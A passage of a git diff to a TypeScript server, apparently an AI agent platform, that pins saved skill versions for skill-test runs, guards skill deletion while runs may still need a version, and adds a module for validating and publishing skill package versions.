(updated.length !== 1) throw conflict("An imported skill changed. Reload before disconnecting."); + }, actor, { label: "Editable copy", validate: tx => visibility(tx).assertSkill(skill.companyId, skill.id) }); } async function deleteSkills( @@ -7513,8 +7394,15 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo ): Promise { const initial = (await Promise.all([...new Set(skillIds)].sort().map(id => getById(companyId, id)))) .filter((skill): skill is CompanySkill => Boolean(skill)); - async function assertUnused(skill: CompanySkill) { - const usedByAgents = await usage(companyId, skill.key); + async function assertUnused(skill: CompanySkill, database: DbOrTransaction = db) { + const usedByAgents = await usage(companyId, skill.key, database); + const pins = await protectedVersions(database as Db, companyId); + const versions = await database.select({ id: companySkillVersions.id }).from(companySkillVersions).where(and( + eq(companySkillVersions.companyId, companyId), eq(companySkillVersions.companySkillId, skill.id))); + if (pins.versions === null || versions.some(version => pins.versions!.has(version.id))) { + throw unprocessable(`Cannot delete skill "${skill.name}" while an active or recovering run may still need it.`, + { skillId: skill.id, skillKey: skill.key }); + } if (usedByAgents.length === 0) return; throw unprocessable( `Cannot delete skill "${skill.name}" while it is still used by ${usedByAgents.map(agent => agent.name).sort().join(", ")}. Detach it from those agents first.`, @@ -7530,6 +7418,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo } async function withCacheLocks(index: number): Promise { if (index < initial.length) { + if (initial[index]!.sourceType === "managed") return withCacheLocks(index + 1); let result: CompanySkill[] = []; await removeRuntimeSkillCache(managedRoot, initial[index]!.id, async () => { result = await withCacheLocks(index + 1); }); return result; @@ -7545,8 +7434,10 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo const skill = await getById(companyId, before.id, tx); if (!skill) continue; if (skill.slug !== before.slug) throw conflict("Skill changed during deletion. Retry the request."); - await assertUnused(skill); - await fs.rm(resolveRuntimeSkillMaterializedPath(companyId, skill), { recursive: true, force: true }); + await assertUnused(skill, tx); + if (skill.sourceType !== "managed") { + await fs.rm(resolveRuntimeSkillMaterializedPath(companyId, skill), { recursive: true, force: true }); + } if (isPaperclipManagedRenameTarget(skill)) { const source = normalizeSkillDirectory(skill)!; const stat = await fs.lstat(source).catch((error: NodeJS.ErrnoException) => { @@ -7573,20 +7464,20 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo } } let deleted: CompanySkill[]; - try { deleted = await withCacheLocks(0); } + try { deleted = await withSkillVersionCacheLock(db, companyId, () => withCacheLocks(0)); } catch (error) { await restoreSources(); throw error; } for (const item of moved) { await fs.rm(item.quarantine, { recursive: true, force: true }).catch(error => { logger.warn({ err: error, companyId }, "Skill deleted; quarantined source cleanup failed"); }); } - // Version caches may still be linked into a captured run. The retention - // worker removes orphan versions only after their run pins have settled. return deleted; } - async function deleteSkill(companyId: string, skillId: string): Promise { - return (await deleteSkills(companyId, [skillId]))[0] ?? null; + async function deleteSkill(companyId: string, skillId: string, + onDelete?: (tx: DbTransaction, deleted: CompanySkill[]) => Promise, + beforeDelete?: (tx: DbTransaction) => Promise): Promise { + return (await deleteSkills(companyId, [skillId], onDelete, beforeDelete))[0] ?? null; } return { @@ -7630,6 +7521,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo deleteSkill, deleteSkills, makeImportedSkillEditable, + prepareImportedSkillEditable, listTestInputs, createTestInput, updateTestInput, @@ -7647,6 +7539,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo deleteTestRun, pruneExpiredTestHarnessIssues, importFromSource, + captureLegacyInstallation, installFromCatalog, browseProjectWorkspace, scanProjectWorkspaces, diff --git a/server/src/services/heartbeat.ts b/server/src/services/heartbeat.ts index 670e4a2755b..eb655fdef25 100644 --- a/server/src/services/heartbeat.ts +++ b/server/src/services/heartbeat.ts @@ -2607,7 +2607,7 @@ export function heartbeatService( usageJson: sql`coalesce(${heartbeatRuns.usageJson}, '{}'::jsonb) || ${JSON.stringify({ ledgerScope: runLedgerScope })}::jsonb`, }).where(eq(heartbeatRuns.id, run.id)); const { - continuationSummary, executionContinuation, paperclipWakePayload, safeWakeComments, safeWakeCommentContext, + continuationSummary, executionContinuation, paperclipWakePayload, safeWakeComments, safeWakeCommentContext, pinnedSkillTest, } = await timePreparation("task_context", () => prepareHeartbeatTaskContext(db, { run, agent, task: { issueRef, issueContext, wakeCommentContext, context, taskSession }, @@ -2662,7 +2662,7 @@ export function heartbeatService( let nativeChatExpectedCwd = selectedNativeChatExpectedCwd; const executionConfiguration = await timePreparation("execution_configuration", () => prepareHeartbeatExecutionConfiguration(db, { run, agent, - task: { issueId, context, responsibleUserId, acceptedPlanContinuationWake, acceptedPlanWakeRoutingDecision, taskProjectContext, routineEnvContext }, + task: { issueId, context, responsibleUserId, acceptedPlanContinuationWake, acceptedPlanWakeRoutingDecision, taskProjectContext, routineEnvContext, pinnedSkillTest }, config: { sourceWorkspaceConfig, aiBinding }, policy: { trustPreset, useIsolatedTaskDirectory, explicitTaskDirectory, requestedExecutionWorkspaceMode }, environment: { selectedEnvironmentId, selectedEnvironmentForConfig, resolvedInstanceSettings, persistedNativeExecutionInput }, diff --git a/server/src/services/heartbeat/execution-configuration.ts b/server/src/services/heartbeat/execution-configuration.ts index 0e10cf59b5a..9dd767a3811 100644 --- a/server/src/services/heartbeat/execution-configuration.ts +++ b/server/src/services/heartbeat/execution-configuration.ts @@ -63,6 +63,8 @@ export interface HeartbeatExecutionConfigurationInput { acceptedPlanWakeRoutingDecision: Awaited> | null; taskProjectContext: Pick | null; routineEnvContext: Awaited["getRoutineEnvForExecutionIssue"]>>; + /** Resolved from the durable Studio test row by task-context, never wake input. */ + pinnedSkillTest?: { key: string; versionId: string } | null; }; config: { sourceWorkspaceConfig: Record; @@ -88,13 +90,18 @@ export interface HeartbeatExecutionConfigurationInput { export async function prepareHeartbeatExecutionConfiguration(db: Db, input: HeartbeatExecutionConfigurationInput) { const { run, agent, onFailureSecretsResolved, onManagedAiRuntimeAcquired, onIdentityRedactorPrepared } = input; const time = createHeartbeatPreparationTiming(run.id); - const { issueId, context, responsibleUserId, acceptedPlanContinuationWake, acceptedPlanWakeRoutingDecision, taskProjectContext, routineEnvContext } = input.task; + const { issueId, context, responsibleUserId, acceptedPlanContinuationWake, acceptedPlanWakeRoutingDecision, taskProjectContext, routineEnvContext, pinnedSkillTest } = input.task; const { selectedEnvironmentId, selectedEnvironmentForConfig, resolvedInstanceSettings, persistedNativeExecutionInput } = input.environment; const sourceWorkspaceConfig = agent.adapterType === "paperclip_runner" ? { ...input.config.sourceWorkspaceConfig, homeMode: bindHeartbeatRunnerHomeMode(parseObject(agent.adapterConfig), persistedNativeExecutionInput).homeMode } : input.config.sourceWorkspaceConfig; const preconfiguredHome = agent.adapterType === "paperclip_runner" && sourceWorkspaceConfig.homeMode === "preconfigured"; + if (preconfiguredHome && pinnedSkillTest) { + throw new ConfigurationIncompleteFailure("Skill tests require an isolated Runner home to deliver the saved version.", { + configurationIncomplete: { reason: "skill_unavailable", actionUrl: `/agents/${agent.id}/runtime` }, + }); + } const initialHarness = agentHarnessType(agent.adapterType, sourceWorkspaceConfig); const observabilityKind = (harness: string) => harness === "codex_local" ? "codex" as const : harness === "claude_local" ? "claude" as const @@ -133,7 +140,7 @@ export async function prepareHeartbeatExecutionConfiguration(db: Db, input: Hear const skillActor: AuthorizationActor = { type: "agent", agentId: agent.id, companyId: agent.companyId, runId: run.id, source: "agent_jwt", onBehalfOfUserId: responsibleUserId === "local-board" ? null : responsibleUserId }; const runScopedMentionedSkillKeys = - preconfiguredHome ? [] : await time("configuration_mentions", () => resolveRunScopedMentionedSkillKeys({ + preconfiguredHome || pinnedSkillTest ? [] : await time("configuration_mentions", () => resolveRunScopedMentionedSkillKeys({ db, companyId: agent.companyId, issueId, @@ -141,7 +148,7 @@ export async function prepareHeartbeatExecutionConfiguration(db: Db, input: Hear actor: skillActor, })); const runScopedSkillKeys = - acceptedPlanContinuationWake && + !pinnedSkillTest && acceptedPlanContinuationWake && !acceptedPlanWakeRoutingDecision?.suppressAcceptedContinuation ? [...runScopedMentionedSkillKeys, ACCEPTED_PLAN_CONVERSION_SKILL_KEY] : runScopedMentionedSkillKeys; @@ -237,13 +244,22 @@ export async function prepareHeartbeatExecutionConfiguration(db: Db, input: Hear } const storedVersions = parseObject(run.contextSnapshot?.skillVersions); const hasStoredVersions = Object.prototype.hasOwnProperty.call(run.contextSnapshot ?? {}, "skillVersions"); + if (hasStoredVersions && (!run.contextSnapshot?.skillVersions || typeof run.contextSnapshot.skillVersions !== "object" + || Array.isArray(run.contextSnapshot.skillVersions) || Object.values(storedVersions).some(value => + typeof value !== "string" || !/^[a-f0-9]{8}(?:-[a-f0-9]{4}){3}-[a-f0-9]{12}$/i.test(value)))) { + throw new ConfigurationIncompleteFailure("The saved skill selection is incomplete. Recover its exact versions before retrying.", { + configurationIncomplete: { reason: "skill_unavailable", actionUrl: "/skills" }, + }); + } const savedShadowedSkills = Array.isArray(run.contextSnapshot?.shadowedSkills) ? run.contextSnapshot.shadowedSkills.flatMap(value => { const saved = parseObject(value); return typeof saved.key === "string" && typeof saved.shadowedBy === "string" && Object.hasOwn(storedVersions, saved.shadowedBy) ? [{ key: saved.key, shadowedBy: saved.shadowedBy }] : []; }) : []; - const selectedConfig = applyRunScopedMentionedSkillKeys(resolvedConfig, runScopedSkillKeys); + const selectedConfig = pinnedSkillTest + ? writePaperclipSkillSyncPreference(resolvedConfig, [pinnedSkillTest]) + : applyRunScopedMentionedSkillKeys(resolvedConfig, runScopedSkillKeys); const { config: effectiveResolvedConfig, skillKeys: environmentSkills, shadowedSkills } = hasStoredVersions ? { config: selectedConfig, skillKeys: [], shadowedSkills: savedShadowedSkills } : await environmentSkillConfig(db, agent.companyId, selectedEnvironmentForConfig, selectedConfig); @@ -267,40 +283,55 @@ export async function prepareHeartbeatExecutionConfiguration(db: Db, input: Hear : skillVersionSelectionMap(runtimeSkillPreference.desiredSkillEntries, { versionPinsEnabled: resolvedInstanceSettings.experimental.enableBetaSkills === true, }); + // Studio always executes its saved revision, independently of assignment + // pins and the Beta skills preference. Recovery keeps the admitted map. + if (!hasStoredVersions && pinnedSkillTest) versionSelections.set(pinnedSkillTest.key, pinnedSkillTest.versionId); return await withSkillActor(skillActor, () => companySkills.withRuntimeSkillEntries(agent.companyId, { versionSelections, snapshotLatest: true, - ...(hasStoredVersions && run.contextSnapshot?.skillSelectionSnapshot === true + ...(hasStoredVersions ? { onlyKeys: new Set(Object.keys(storedVersions)) } : { selectionConfig: effectiveResolvedConfig, includeLegacy: agent.adapterType !== "paperclip_runner" }), + selectVersions: async entries => { + const available = hasStoredVersions ? entries.filter(entry => Object.prototype.hasOwnProperty.call(storedVersions, entry.key)) : entries; + const availableKeys = new Set(available.map(entry => entry.key)); + if (!hasStoredVersions && pinnedSkillTest && (!availableKeys.has(pinnedSkillTest.key) + || shadowedSkills?.some(skill => skill.key === pinnedSkillTest.key))) { + throw new ConfigurationIncompleteFailure("The skill test's pinned skill is unavailable or no longer permitted.", { + configurationIncomplete: { reason: "skill_unavailable", actionUrl: "/skills" }, + }); + } + if (hasStoredVersions && Object.keys(storedVersions).some(key => !availableKeys.has(key))) { + throw new ConfigurationIncompleteFailure("A pinned skill is unavailable or no longer permitted.", { + configurationIncomplete: { reason: "skill_unavailable", actionUrl: "/skills" }, + }); + } + const desiredKeys = hasStoredVersions + ? Object.keys(storedVersions) + : agent.adapterType === "paperclip_runner" + ? resolvePaperclipDesiredSkillNames(effectiveResolvedConfig, available) + : resolveLegacyPaperclipDesiredSkillNames(effectiveResolvedConfig, available); + const selectedKeys = new Set(desiredKeys.filter(key => availableKeys.has(key))); + const resolved = available.filter(entry => selectedKeys.has(entry.key)); + skillDeliveryConfig = writePaperclipSkillSyncPreference(effectiveResolvedConfig, + resolved.map(entry => ({ key: entry.key, versionId: entry.versionId ?? null }))); + if (!hasStoredVersions) { + const skillVersions = Object.fromEntries(resolved.map(entry => [entry.key, entry.versionId ?? entry.currentVersionId ?? null])); + context.skillVersions = skillVersions; + context.skillSelectionSnapshot = true; + await db.update(heartbeatRuns).set({ contextSnapshot: sql`coalesce(${heartbeatRuns.contextSnapshot}, '{}'::jsonb) || ${JSON.stringify({ skillVersions, skillSelectionSnapshot: true, ...(shadowedSkills?.length ? { shadowedSkills } : {}) })}::jsonb` }).where(eq(heartbeatRuns.id, run.id)); + } + return selectedKeys; + }, }, async entries => { - const available = hasStoredVersions ? entries.filter(entry => Object.prototype.hasOwnProperty.call(storedVersions, entry.key)) : entries; - const availableKeys = new Set(available.map(entry => entry.key)); - const desiredKeys = hasStoredVersions && run.contextSnapshot?.skillSelectionSnapshot === true - ? Object.keys(storedVersions) - : agent.adapterType === "paperclip_runner" - ? resolvePaperclipDesiredSkillNames(effectiveResolvedConfig, available) - : resolveLegacyPaperclipDesiredSkillNames(effectiveResolvedConfig, available); - const selectedKeys = new Set(desiredKeys.filter(key => availableKeys.has(key))); - const resolved = available.filter(entry => selectedKeys.has(entry.key)); - // Optional assignments can outlive project membership. Drop inaccessible - // assignments from delivery; explicit task mentions remain errors below. - skillDeliveryConfig = writePaperclipSkillSyncPreference(effectiveResolvedConfig, - resolved.map(entry => ({ key: entry.key, versionId: entry.versionId ?? null }))); for (const key of [...runScopedMentionedSkillKeys.filter(key => !shadowedSkills?.some(skill => skill.key === key)), ...(hasStoredVersions ? [] : environmentSkills)]) { - const entry = resolved.find(candidate => candidate.key === key); + const entry = entries.find(candidate => candidate.key === key); if (!entry || entry.sourceStatus === "missing") { throw new ConfigurationIncompleteFailure("A referenced skill is unavailable. Restore its installed version or update the task's skill reference.", { configurationIncomplete: { reason: "skill_unavailable", skillKey: key, actionUrl: "/skills" }, }); } } - if (!hasStoredVersions) { - const skillVersions = Object.fromEntries(resolved.map(entry => [entry.key, entry.versionId ?? entry.currentVersionId ?? null])); - context.skillVersions = skillVersions; - context.skillSelectionSnapshot = true; - await db.update(heartbeatRuns).set({ contextSnapshot: sql`coalesce(${heartbeatRuns.contextSnapshot}, '{}'::jsonb) || ${JSON.stringify({ skillVersions, skillSelectionSnapshot: true, ...(shadowedSkills?.length ? { shadowedSkills } : {}) })}::jsonb` }).where(eq(heartbeatRuns.id, run.id)); - } - return resolved; + return entries; })); } catch (error) { if (agent.adapterType === "paperclip_runner") { diff --git a/server/src/services/heartbeat/run-preparation.ts b/server/src/services/heartbeat/run-preparation.ts index 2b8c3f5f701..bf288599a51 100644 --- a/server/src/services/heartbeat/run-preparation.ts +++ b/server/src/services/heartbeat/run-preparation.ts @@ -2959,6 +2959,7 @@ export function createHeartbeatRunPreparation(db: Db) { .select({ testRunId: companySkillTestRuns.id, skillId: companySkillTestRuns.skillId, + skillKey: companySkillsTable.key, inputId: companySkillTestRuns.inputId, skillVersionId: companySkillTestRuns.skillVersionId, outputDocumentKey: companySkillTestRuns.outputDocumentKey, @@ -2972,8 +2973,13 @@ export function createHeartbeatRunPreparation(db: Db) { and( eq(companySkillVersions.id, companySkillTestRuns.skillVersionId), eq(companySkillVersions.companyId, companySkillTestRuns.companyId), + eq(companySkillVersions.companySkillId, companySkillTestRuns.skillId), ), ) + .innerJoin(companySkillsTable, and( + eq(companySkillsTable.id, companySkillTestRuns.skillId), + eq(companySkillsTable.companyId, companySkillTestRuns.companyId), + )) .where( and( eq(companySkillTestRuns.companyId, companyId), @@ -3002,6 +3008,7 @@ export function createHeartbeatRunPreparation(db: Db) { return { testRunId: row.testRunId, skillId: row.skillId, + skillKey: row.skillKey, inputId: row.inputId ?? null, skillVersionId: row.skillVersionId, revisionNumber: row.revisionNumber, diff --git a/server/src/services/heartbeat/task-context.ts b/server/src/services/heartbeat/task-context.ts index fa8a56cdc27..85bdd65ca61 100644 --- a/server/src/services/heartbeat/task-context.ts +++ b/server/src/services/heartbeat/task-context.ts @@ -15,7 +15,7 @@ import { getTaskPlanContext } from "../task-plan-context.js"; import { caseExecutionMarkdown, getCaseExecutionContext } from "../case-context.js"; import type { TrustPresetResolution } from "../trust-preset-resolver.js"; import { liveVoiceExecutionGuidance } from "../voice/voice-execution-guidance.js"; -import { buildPaperclipWakePayload, PAPERCLIP_WAKE_PAYLOAD_KEY, type createHeartbeatRunPreparation } from "./run-preparation.js"; +import { buildPaperclipWakePayload, ConfigurationIncompleteFailure, PAPERCLIP_WAKE_PAYLOAD_KEY, type createHeartbeatRunPreparation } from "./run-preparation.js"; import { buildPaperclipTaskMarkdown } from "./task-markdown.js"; import { workspacePreferenceService } from "../workspace-preferences.js"; @@ -92,10 +92,16 @@ export async function prepareHeartbeatTaskContext(db: Db, input: HeartbeatTaskCo ? { kind: "skill_test", issueId: issueRef.id } : { kind: "standard" }; } + const isSkillTest = parseObject(context.paperclipAgentJwtScope).kind === "skill_test"; const pinnedSkillTestContext = - issueRef?.workMode === "skill_test" + isSkillTest && issueRef ? await getPinnedSkillTestContext(agent.companyId, issueRef.id) : null; + if (isSkillTest && !pinnedSkillTestContext) { + throw new ConfigurationIncompleteFailure("The skill test's saved version is unavailable.", { + configurationIncomplete: { reason: "skill_unavailable", actionUrl: "/skills" }, + }); + } if (pinnedSkillTestContext) { context.paperclipSkillTest = { ...pinnedSkillTestContext, @@ -406,5 +412,7 @@ export async function prepareHeartbeatTaskContext(db: Db, input: HeartbeatTaskCo } else { delete context.paperclipTurnContext; } - return { continuationSummary, executionContinuation, paperclipWakePayload, safeWakeComments, safeWakeCommentContext }; + const pinnedSkillTest = pinnedSkillTestContext + ? { key: pinnedSkillTestContext.skillKey, versionId: pinnedSkillTestContext.skillVersionId } : null; + return { continuationSummary, executionContinuation, paperclipWakePayload, safeWakeComments, safeWakeCommentContext, pinnedSkillTest }; } diff --git a/server/src/services/managed-skill-content.ts b/server/src/services/managed-skill-content.ts new file mode 100644 index 00000000000..2adad24b7ed --- /dev/null +++ b/server/src/services/managed-skill-content.ts @@ -0,0 +1,157 @@ +import { and, eq, sql } from "drizzle-orm"; +import type { StorageService } from "../storage/index.js"; +import { companies, companySkills, companySkillVersions, companySkillRepositorySnapshots, type Db } from "@paperclipai/db"; +import type { CompanySkillVersionFileInventoryEntry } from "@paperclipai/shared"; +import { conflict, notFound, unprocessable } from "../errors.js"; +import { DELIVERY_QUEUES, notifyDeliveryWork } from "./delivery-work-notifications.js"; +import { notifySkillVersionRetention } from "./skill-version-retention-notifications.js"; +import { skillPackageStore, skillPackageStorageEnabled, skillVersionFileMap, skillVersionMetadataColumns, type StoredSkillVersion } from "./skill-package-store.js"; +import { assertSkillSnapshotPath, MAX_SKILL_SNAPSHOT_BYTES, MAX_SKILL_SNAPSHOT_FILES, skillFileBytes, skillSnapshotHash } from "./skill-snapshot.js"; + +export type SkillContentTransaction = Parameters[0]>[0]; +export type SkillContentRow = typeof companySkills.$inferSelect; +const contentMetadataFields = ["name", "description", "iconUrl", "color", "tagline", "authorName", "homepageUrl", "categories", "metadata"] as const; +export type SkillContentActor = { type: "agent" | "user" | "system"; agentId?: string | null; userId?: string | null }; +export type PreparedSkillContent = { + files: CompanySkillVersionFileInventoryEntry[]; + packageSnapshotId: string | null; + packageFileMap: (typeof companySkillVersions.$inferInsert)["packageFileMap"]; + implicitFileMap: (typeof companySkillVersions.$inferInsert)["packageFileMap"]; + contentHash: string; +}; +export type SkillContentPublication = { + expectedVersionId?: string | null; + label?: string | null; + reuseCurrentVersion?: boolean; + beforeLock?: (tx: SkillContentTransaction) => Promise; + validate?: (tx: SkillContentTransaction) => Promise; + afterPublish?: (tx: SkillContentTransaction, skill: SkillContentRow, version: StoredSkillVersion) => Promise; +}; + +export function managedSkillContent(db: Db, packageDb: Db = db, storage?: StorageService) { + const packages = skillPackageStore(packageDb, storage); + + async function read(companyId: string, skillId: string, versionId: string) { + const version = await packages.version(companyId, skillId, versionId); + if (!version) throw notFound("Skill version not found"); + return { version, files: await packages.versionFiles(version) }; + } + + async function prepare(companyId: string, files: CompanySkillVersionFileInventoryEntry[], signal?: AbortSignal): Promise { + signal?.throwIfAborted(); + const paths = new Set(); + let bytes = 0; + for (const file of files) { + try { assertSkillSnapshotPath(file.path); } catch { throw unprocessable("Invalid skill file path."); } + if (paths.has(file.path)) throw unprocessable("Duplicate skill file path."); + paths.add(file.path); + bytes += skillFileBytes(file).length; + } + if (files.length > MAX_SKILL_SNAPSHOT_FILES || bytes > MAX_SKILL_SNAPSHOT_BYTES) { + throw unprocessable("Skill exceeds package size limits."); + } + if (!files.some(file => file.path === "SKILL.md" && file.encoding !== "base64")) { + throw unprocessable("A skill must contain a UTF-8 SKILL.md file."); + } + const packageSnapshotId = skillPackageStorageEnabled() ? await packages.prepare(companyId, files, false, signal) : null; + if (packageSnapshotId && !await packages.verifyDurable(companyId, packageSnapshotId, signal)) { + throw unprocessable("Skill package is not durably available."); + } + return { files, packageSnapshotId, contentHash: skillSnapshotHash(files), + packageFileMap: packageSnapshotId ? skillVersionFileMap(files) : null, + implicitFileMap: packageSnapshotId ? skillVersionFileMap((await packages.manifest(companyId, packageSnapshotId, signal)).files) : null }; + } + + function fileMapIdentity(files: PreparedSkillContent["packageFileMap"]) { + return JSON.stringify(files?.map(file => ({ path: file.path, sourcePath: file.sourcePath, + kind: file.kind, encoding: file.encoding ?? "utf8" })).sort((left, right) => left.path.localeCompare(right.path))); + } + + async function append(tx: SkillContentTransaction, skill: SkillContentRow, candidate: PreparedSkillContent, + actor: SkillContentActor | null, options: SkillContentPublication, fields: Partial = {}) { + await notifyDeliveryWork(tx, DELIVERY_QUEUES.skillPackages); + await notifySkillVersionRetention(tx, skill.companyId); + if (candidate.packageSnapshotId) { + const [receipt] = await tx.select({ storage: companySkillRepositorySnapshots.storage }) + .from(companySkillRepositorySnapshots).where(and(eq(companySkillRepositorySnapshots.companyId, skill.companyId), + eq(companySkillRepositorySnapshots.id, candidate.packageSnapshotId))).for("update"); + if (!receipt?.storage) throw conflict("Skill package changed during publication. Retry the operation."); + } + if (options.reuseCurrentVersion && skill.currentVersionId && candidate.packageSnapshotId) { + const [version] = await tx.select(skillVersionMetadataColumns).from(companySkillVersions).where(and( + eq(companySkillVersions.companyId, skill.companyId), eq(companySkillVersions.companySkillId, skill.id), + eq(companySkillVersions.id, skill.currentVersionId))); + if (version && !version.repositorySnapshotId && version.packageSnapshotId === candidate.packageSnapshotId + && fileMapIdentity(version.packageFileMap ?? candidate.implicitFileMap) === fileMapIdentity(candidate.packageFileMap)) { + if (!version.packageFileMap) { + await tx.update(companySkillVersions).set({ packageFileMap: candidate.packageFileMap }) + .where(and(eq(companySkillVersions.companyId, skill.companyId), eq(companySkillVersions.id, version.id))); + version.packageFileMap = candidate.packageFileMap ?? null; + } + const [saved] = await tx.update(companySkills).set({ ...fields, updatedAt: new Date() }) + .where(and(eq(companySkills.companyId, skill.companyId), eq(companySkills.id, skill.id))).returning(); + await options.afterPublish?.(tx, saved!, version); + return { skill: saved!, version }; + } + } + const [revision] = await tx.select({ next: sql`coalesce(max(${companySkillVersions.revisionNumber}), 0) + 1` }) + .from(companySkillVersions).where(and(eq(companySkillVersions.companyId, skill.companyId), eq(companySkillVersions.companySkillId, skill.id))); + const [version] = await tx.insert(companySkillVersions).values({ + companyId: skill.companyId, companySkillId: skill.id, revisionNumber: Number(revision!.next), + label: options.label ?? null, packageSnapshotId: candidate.packageSnapshotId, packageFileMap: candidate.packageFileMap, + fileInventory: candidate.packageSnapshotId ? [] : candidate.files, + migrationAt: candidate.packageSnapshotId ? null : new Date(), + authorAgentId: actor?.type === "agent" ? actor.agentId : null, + authorUserId: actor?.type === "user" ? actor.userId : null, + }).returning(); + const [saved] = await tx.update(companySkills).set({ ...fields, currentVersionId: version!.id, updatedAt: new Date() }) + .where(and(eq(companySkills.companyId, skill.companyId), eq(companySkills.id, skill.id))).returning(); + await options.afterPublish?.(tx, saved!, version!); + return { skill: saved!, version: version! }; + } + + async function publish(base: Pick & { accessSourceId?: string | null }, candidate: PreparedSkillContent, + fields: Partial, actor: SkillContentActor | null = null, + options: SkillContentPublication = {}) { + if (options.expectedVersionId !== undefined && options.expectedVersionId !== base.currentVersionId) { + throw conflict("Skill version changed. Read the current version before retrying."); + } + return db.transaction(async tx => { + await options.beforeLock?.(tx); + for (const slug of [...new Set([base.slug, fields.slug ?? base.slug])].sort()) { + await tx.execute(sql`select pg_advisory_xact_lock(hashtextextended(${`${base.companyId}:${slug}`}, 0))`); + } + const [current] = await tx.select().from(companySkills).where(and(eq(companySkills.companyId, base.companyId), eq(companySkills.id, base.id))).for("update"); + if (!current) throw notFound("Skill not found"); + if (current.currentVersionId !== base.currentVersionId || current.key !== base.key || current.sourceType !== base.sourceType + || current.accessSourceId !== (base.accessSourceId ?? null)) { + throw conflict("Skill version changed. Read the current version before retrying."); + } + if (contentMetadataFields.some(field => Object.hasOwn(fields, field) + && JSON.stringify(current[field]) !== JSON.stringify(base[field]))) { + throw conflict("Skill metadata changed. Read the current skill before retrying."); + } + await options.validate?.(tx); + return append(tx, current, candidate, actor, options, fields); + }); + } + + async function create(values: typeof companySkills.$inferInsert, candidate: PreparedSkillContent, + actor: SkillContentActor | null = null, options: SkillContentPublication = {}) { + return db.transaction(async tx => { + const [company] = await tx.select({ id: companies.id }).from(companies) + .where(eq(companies.id, values.companyId)).for("share"); + if (!company) throw notFound("Company not found"); + await options.beforeLock?.(tx); + await tx.execute(sql`select pg_advisory_xact_lock(hashtextextended(${`${values.companyId}:${values.slug}`}, 0))`); + await options.validate?.(tx); + const [existing] = await tx.select({ id: companySkills.id }).from(companySkills) + .where(and(eq(companySkills.companyId, values.companyId), eq(companySkills.key, values.key))); + if (existing) throw conflict(`A company skill with slug "${values.slug}" already exists.`); + const [skill] = await tx.insert(companySkills).values(values).returning(); + return append(tx, skill!, candidate, actor, options); + }); + } + + return { read, prepare, publish, create }; +} diff --git a/server/src/services/native-runtime/assigned-mcp-tools.test.ts b/server/src/services/native-runtime/assigned-mcp-tools.test.ts index a762305af1f..a5708ba1668 100644 --- a/server/src/services/native-runtime/assigned-mcp-tools.test.ts +++ b/server/src/services/native-runtime/assigned-mcp-tools.test.ts @@ -402,7 +402,7 @@ describe("assigned MCP runner tools", () => { expect(f.executeTool).not.toHaveBeenCalled(); }); - it.each(["planning", "ask"] as const)("exposes and permits only read tools in %s mode", async workMode => { + it.each(["planning", "ask", "skill_test"] as const)("exposes and permits only read tools in %s mode", async workMode => { const f = fixture([descriptor("read"), descriptor("remember", "write"), descriptor("forget", "destructive")]); const standard = await createAssignedMcpTools(f); const restricted = await createAssignedMcpTools({ ...f, workMode }); @@ -423,7 +423,7 @@ describe("assigned MCP runner tools", () => { for (const [call] of f.executeTool.mock.calls) expect(call).not.toHaveProperty("approvedActionRequestId"); }); - it.each(["planning", "ask"] as const)("enforces fresh %s mode without relaxing the pinned mode", async currentMode => { + it.each(["planning", "ask", "skill_test"] as const)("enforces fresh %s mode without relaxing the pinned mode", async currentMode => { const f = fixture([descriptor("read"), descriptor("remember", "write")]); const standard = await createAssignedMcpTools(f); const restricted = await createAssignedMcpTools({ ...f, workMode: currentMode }); diff --git a/server/src/services/native-runtime/assigned-mcp-tools.ts b/server/src/services/native-runtime/assigned-mcp-tools.ts index e2bbdc71910..00473c3b5d5 100644 --- a/server/src/services/native-runtime/assigned-mcp-tools.ts +++ b/server/src/services/native-runtime/assigned-mcp-tools.ts @@ -2,7 +2,7 @@ import { createHash } from "node:crypto"; import type { Db } from "@paperclipai/db"; import { deduplicateToolDescriptors, ToolGatewayHttpError, type ToolGatewayDescriptor, type ToolGatewayService } from "../tool-gateway.js"; -type WorkMode = "standard" | "planning" | "ask"; +type WorkMode = "standard" | "planning" | "ask" | "skill_test"; type ToolDefinition = Record; const SEARCH_TOOL = "paperclip_search_assigned_tools"; diff --git a/server/src/services/native-runtime/native-case-tools.integration.test.ts b/server/src/services/native-runtime/native-case-tools.integration.test.ts index be5d3dd8e43..b191a4091d0 100644 --- a/server/src/services/native-runtime/native-case-tools.integration.test.ts +++ b/server/src/services/native-runtime/native-case-tools.integration.test.ts @@ -516,7 +516,7 @@ describe("native case tools through authenticated production routes", () => { expect(review.definitions().map(tool => tool.name)).not.toContain("read_case"); await expect(review.execute({ tool: "update_case", callId: randomUUID(), arguments: { idempotencyKey: "review", title: "No" } })).rejects.toThrow("may only inspect"); await server.db.update(issues).set({ workMode: "skill_test" }).where(eq(issues.id, f.issueId)); - await expect(f.call("read_case")).rejects.toThrow("mode_denied"); + await expect(f.call("read_case")).rejects.toMatchObject({ status: 403 }); await server.db.update(issues).set({ workMode: "standard" }).where(eq(issues.id, f.issueId)); await instanceSettingsService(server.db).updateExperimental({ enableCases: false }); try { await expect(f.call("read_case")).rejects.toThrow("Cases are disabled"); } diff --git a/server/src/services/native-runtime/native-execution-input.test.ts b/server/src/services/native-runtime/native-execution-input.test.ts index 588b8fbe663..af389f7e866 100644 --- a/server/src/services/native-runtime/native-execution-input.test.ts +++ b/server/src/services/native-runtime/native-execution-input.test.ts @@ -9,7 +9,7 @@ import { nativeRuntimeContextFixture } from "./runtime-context.test-fixture.js"; import { buildNativeModelEnvelope, canonicalNativeRuntimeContextDigest } from "../../vendor/paperclip-runner/index.js"; describe("LCA-05 explicit native work mode", () => { - it.each(["standard", "planning", "ask"])("title and description cannot override %s mode", (workMode) => { + it.each(["standard", "planning", "ask", "skill_test"])("title and description cannot override %s mode", (workMode) => { for (const text of ["Inspect files", "Making a plan", "Create a report", "Research proposal", "Implement now; no plan needed"]) { const input = buildNativeExecutionInput({ companyId: "10000000-0000-4000-8000-000000000001", diff --git a/server/src/services/native-runtime/native-execution-input.ts b/server/src/services/native-runtime/native-execution-input.ts index 3457b5a6cf6..f613d644a97 100644 --- a/server/src/services/native-runtime/native-execution-input.ts +++ 